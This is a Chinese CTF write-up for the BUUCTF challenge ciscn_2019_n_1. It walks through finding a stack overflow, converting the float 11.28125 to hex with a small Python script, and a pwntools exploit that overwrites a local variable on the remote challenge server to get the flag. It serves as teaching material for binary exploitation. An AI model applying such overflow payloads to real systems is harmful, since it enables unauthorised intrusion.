pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
( ˶˙⚇˙˶ )୨⚑︎2 分钟前
【学习笔记】DiffFNO: Diffusion Fourier Neural Operator
笔记·神经网络·学习
Topplyz7 分钟前
交流耦合同相放大电路、MAX4466音频放大电路功能详解
学习·运算放大器·模电·放大电路·音频放大
ModestCoder_18 分钟前
【学习笔记】Diffusion Policy for Robotics
论文阅读·人工智能·笔记·学习·机器人·强化学习·具身智能
麦麦大数据22 分钟前
F049 知识图谱双算法推荐在线学习系统vue+flask+neo4j之BS架构开题论文全源码
学习·算法·知识图谱·推荐算法·开题报告·学习系统·计算机毕业设计展示
李绍熹1 小时前
半监督对比学习 (Semi-Supervised SimCLR) 实现
学习
952361 小时前
数据结构-堆
java·数据结构·学习·算法
im_AMBER2 小时前
Leetcode 57
笔记·学习·算法·leetcode
im_AMBER2 小时前
Leetcode 58 | 附:滑动窗口题单
笔记·学习·算法·leetcode
伯明翰java2 小时前
Redis学习笔记-List列表(2)
redis·笔记·学习
云帆小二2 小时前
从开发语言出发如何选择学习考试系统
开发语言·学习